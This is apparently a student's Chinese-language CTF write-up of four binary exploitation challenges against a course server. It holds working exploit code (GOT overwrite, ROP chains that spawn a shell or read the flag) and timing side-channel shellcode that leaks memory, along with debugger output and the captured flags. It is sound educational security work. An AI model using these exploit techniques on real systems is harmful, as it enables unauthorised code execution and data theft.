Pwn1 writeup

109550127 宋哲頤

got2win

藉由 payload 不通過程是檢測而讓程式結束，此時可以看程式結束時會呼叫到那些 fuction，竄改這些 funtion 的 GOT 能讓程式繼續執行。

```
int nr = read(1, flag, 0x30);
```

我們需要把 read GO 的值改成 write 將 flag 取出來

```
r = remote('edu-ctf.zoolab.org', 10004)

read_got = 0x404038
write_plt = 0x4010c0
```

```
[*] Switching to interactive mode
Give me fake flag: FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
\x00\x00his is your flag: ctf{FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
}... Just kidding :)
[*] Got EOF while reading in interactive
```

rop2win

這題限制了一些 syscall 的使用，首先可以得知這題要我們做 ROP，

因此我建構了 open(/home/chal/flag)、read、write 的 payload 使得 flag

的內容在 overflow 後會 print 出來

```
ROP = p64(0xdeadbeef)


ROP += flat(
    #open()
    pop_rdi_ret, fn_addr,
    pop_rsi_ret, 0,
    pop_rax_ret, 2,
    syscall_ret,
    #read
    pop_rdi_ret, 3,
    pop_rsi_ret, fn_addr,
    pop_rdx_ret, 0x30,0x0,
    pop_rax_ret, 0,
    syscall_ret,
    #write
    pop_rdi_ret, 1,
    # pop_rsi_ret, fn_addr,
    # pop_rdx_ret, 0x20,0x0,
    pop_rax_ret, 1,
    syscall_ret,
)

r.sendafter("Give me filename: ", b"/home/chal/flag\x00")
r.sendafter("Give me ROP: ", ROP)
r.sendafter("Give me overflow: ", b'A'*0x20 + p64(ROP_addr) + p64(leave_ret))
```

這題麻煩的地方在於尋找 rdi、rsi、rdx、rax、syscall、leave 的

gadget，找到後很快就能做出來了。

```
fn_addr = 0x4E3340 #0x4DF460
ROP_addr = 0x4E3360# 0x4DF360
pop_rdi_ret =0x4038b3 #0x40186a
pop_rsi_ret = 0x402428  #0x4028a8
pop_rax_ret =0x45db87  #0x4607e7
pop_rdx_ret = 0x493a2b  #0x40176f  0x0000000000493a2b : pop rdx ; pop rbx ; ret
syscall_ret = 0x4284b6 #0x42cea4
leave_ret = 0x40190c   #0x401ebd
```

```
FLAG{banana_72b302bf297a228a75730123efef7c41}
\x00[*] Got EOF while reading in interactive
```

Rop++

此題為 ROP 的由此可以看出這隻程式只能讀寫模式不能執行

```
root@07990aabd726 /p/r/share# pwn checksec ./chal
[*] '/pwnbox/rop++/share/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
root@07990aabd726 /p/r/share#
```

接著我尋找 ROP 的 gadget 找了以下的 register 的位置之後

0x000000000040229e : pop rsp ; ret
0x000000000047ed0b : pop rdx ; pop rbx ; ret
0x0000000000409e6e : pop rsi ; ret
0x0000000000401e3f : pop rdi ; ret
0x0000000000450ed5 : pop rcx ; ret
0x0000000000401870 : pop rbx ; ret
0x0000000000401701 : pop rbp ; ret
0x0000000000447b27 : pop rax ; ret
0x0000000000409e6d : pop r14 ; ret
0x000000000040c108 : pop r13 ; ret
0x000000000040229d : pop r12 ; ret
0x0000000000401bf4 : syscall

```
► 0x401798 <main+83>                    ret                                <0x401bca; __libc_start_call_main+106>
  ↓
  0x401bca <__libc_start_call_main+106>    mov    edi, eax
  0x401bcc <__libc_start_call_main+108>    call   exit                   <exit>
```

在 main 裡的 return 設斷點，在執行完 return0 之後會接一個 rip 執行 main 函數完的下一個位置。從 gdb 可以知道，我們要修改 0x401bca 裡面的值

```
[ STACK ]
rsp 0x7ffc876aa2a8 —▸ 0x401bca (__libc_start_call_main+106) ◂— mov edi, eax
01:0008 |      0x7ffc876aa2b0 ◂— 0x2000000000
02:0010 |      0x7ffc876aa2b8 —▸ 0x401745 (main) ◂— endbr64
03:0018 |      0x7ffc876aa2c0 ◂— 0x100000000
04:0020 |      0x7ffc876aa2c8 —▸ 0x7ffc876aa488 —▸ 0x7ffc876aa905 ◂— '/pwnbox/rop++/share/chal'
05:0028 |      0x7ffc876aa2d0 —▸ 0x7ffc876aa498 —▸ 0x7ffc876aa91e ◂— 'USER=root'
06:0030 |      0x7ffc876aa2d8 ◂— 0x78c273ad7412a3a3
07:0038 |      0x7ffc876aa2e0 ◂— 0x1
[ BACKTRACE ]
```

要先 payload 填滿 28 個 bytes 再執行我們要的 system call 這裡是希望呼叫一個 shell。

```
-0000000000000020 ; D/A/*   : change type (data/ascii/array)
-0000000000000020 ; N       : rename
-0000000000000020 ; U       : undefine
-0000000000000020 ; Use data definition commands to create local variables and function arguments.
-0000000000000020 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000020 ; Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020 ;
-0000000000000020
-0000000000000020 var_20          db 24 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

簡單測試一下 payload 可以發現 rsp 的值可以被我們覆蓋

```
──────────────────────────[ STACK ]──────────────────────────
00:0000│ rsp 0x7ffe250acf18 ◂— 0x31313131313131 /* '1111111' */
01:0008│     0x7ffe250acf20 ◂— 0x2000000000
02:0010│     0x7ffe250acf28 —▸ 0x401745 (main) ◂— endbr64
03:0018│     0x7ffe250acf30 ◂— 0x100000000
04:0020│     0x7ffe250acf38 —▸ 0x7ffe250ad0f8 —▸ 0x7ffe250ae8ab
◂— 0x53006c6168632f2e /* './chal' */
05:0028│     0x7ffe250acf40 —▸ 0x7ffe250ad108 —▸ 0x7ffe250ae8b2
◂— 'SHELL=/bin/bash'
06:0030│     0x7ffe250acf48 ◂— 0x5cb61cb7e9711350
07:0038│     0x7ffe250acf50 ◂— 0x1
```

從

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

可以知道 sys_execve('/bin/sh\x00',0,0)需要

rax=59
rdi='/bin/sh\x00'
rsi =rdx=0
call syscall

```python
payload=b'A'*0x28
# pop rsi ; ret
payload+=p64(rsi)
payload+=p64(0)
# pop rdi ; ret
payload+=p64(rdi)
payload+=p64(0)
#  pop rdx ; pop rbx ; ret
payload+=p64(rdx)
payload+=sh
payload+=p64(0)
```

建構需要的 payload

```
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
            Start                End Perm     Size Offset File
          0x400000           0x401000 r--p     1000      0 /pwnbox/rop++/share/chal
          0x401000           0x498000 r-xp    97000   1000 /pwnbox/rop++/share/chal
          0x498000           0x4c1000 r--p    29000  98000 /pwnbox/rop++/share/chal
          0x4c1000           0x4c5000 r--p     4000  c0000 /pwnbox/rop++/share/chal
          0x4c5000           0x4c8000 rw-p     3000  c4000 /pwnbox/rop++/share/chal
          0x4c8000           0x4cd000 rw-p     5000      0 [anon_004c8]
          0x1ba0000          0x1bc2000 rw-p    22000      0 [heap]
    0x7ffcd036c000     0x7ffcd038d000 rw-p    21000      0 [stack]
    0x7ffcd03ee000     0x7ffcd03f2000 r--p     4000      0 [vvar]
    0x7ffcd03f2000     0x7ffcd03f3000 r-xp     1000      0 [vdso]
pwndbg>
```

尋找可以改寫記憶體內容的地方，為了存放 binary shell 的檔案路徑

0x000000000046b625 : adc al, 0x90 ; mov qword ptr [rax], rdx ; xor eax, eax ; ret

```python
# 尋找記憶體寫入檔案路徑
payload+=p64(rax)
payload+=p64(0x4c5000)
# 0x000000000046b625 : adc al, 0x90 ; mov qword ptr [rax], rdx ; xor eax, eax ; ret
payload+=p64(0x46b625)
# 將bin/sh所在的地方放入rdi
payload+=p64(rdi)
payload+=p64(0x4c5091)
#  pop rdx ; pop rbx ; ret
payload+=p64(rdx)
payload+=p64(0)
payload+=p64(0)

#rax
payload+=p64(rax)
payload+=p64(59)
# syscall
payload+=p64(0x401bf4)
```

0x4c5091 為 rax 所以存放的值，即為/bin/sh，將他放入 rdi 後調整 execve('/bin/sh\x00',0,0)的暫存器便值執行。

```
pwndbg> i r
rax            0x4c5091            5001361
rbx            0x0                 0
rcx            0x4470d2            4485330
rdx            0x68732f6e69622f    29400045130965551
rsi            0x0                 0
rdi            0x0                 0
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffdb05ebd8      0x7fffdb05ebd8
r8             0x4c7d70            5012848
r9             0x4                 4
r10            0x80                128
r11            0x246               582
r12            0x1                 1
r13            0x7fffdb05ed68      140736867986792
r14            0x4c17d0            4986832
r15            0x1                 1
rip            0x46b62a            0x46b62a <_IO_seekwmark+90>
eflags         0x282               [ SF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
pwndbg> x/s $rax
0x4c5091:       "/bin/sh"
pwndbg>
```

成功得到本地的 shell 後去 remote server 就能獲得 shell 並找到 flag。

```
$ cd chal
$ ls
Makefile
chal
flag
rop++.c
run.sh
$ cd flag
$ cat flag
FLAG{chocolate_c378985d629e99a4e86213db0cd5e70d}
[*] Got EOF while reading in interactive
$
```

how2know

從 PIE 可以知道 base address 會隨機改變

```
root@c66aa00c507f /p/h/share# pwn checksec ./chal
[*] '/pwnbox2/how2know/share/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
root@c66aa00c507f /p/h/share#
```

先尋找 base address，再執行完 return 0 的上面那個指令後，rsp 會放入下一個要執行的位置，而 return 0 的 offset 為 13DC，因此用 pwndbg 跑可以看到 rsp 的位置在減掉 13DC 就是 base address 的值。

```
((void (*)(void))buf)();
return 0;
```

```
text:00000000000013DA                call    rdx
text:00000000000013DC                mov     eax, 0
text:00000000000013E1                leave
```

```
mov rbx, qword ptr[rsp]
sub rbx ,0x13dc             #base_address
```

Flag offset 為 0x4040

```
.bss:0000000000004040 flag          db    ? ;               ; DATA XREF: main+98↑o
```

接著因為我想要將 pointer rbx 的值以 bytes 的形式傳給 bl，再一個 bit 一個 bit 解析，因為這題沒辦法用 system call，所以我想利用執行的時間來猜測，利用進入無窮迴圈加上 timeout 即可知道每一個 bit 是 0 還是 1。

```
    mov bl , [rbx+{i}]              #將pointer flag的一個一個bytes放入bl
    and bl , {2**j}             #bit放入bl      0b01100110 01100010
    cmp bl , 0
    je branch               #把cmp為0時進入branch的無窮迴圈
    ret
        branch:
            lable:          #無窮迴圈
                nop
            jmp lable
```

```
start = time.time()
r.recvall(timeout=2)
end = time.time()
r.close()
if (end-start)>2: #
    s="0"+s #進入迴圈print(0)
else:
    s="1"+s #沒有進入迴圈print(1)
```

之後再將每個 bit 每八個八個湊成一 bytes 接起來轉成 ascii 碼

```
    # import pdb;pdb.set_trace()
    ascii=int(s,2)
    # ascii=list(ascii)
    ascii=[ascii]
    ans+=ascii
    print(bytes(ascii))
    print(bytes(ans))
print(bytes(ans))
```

Flag 就 print 出來了

```
b'FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}
```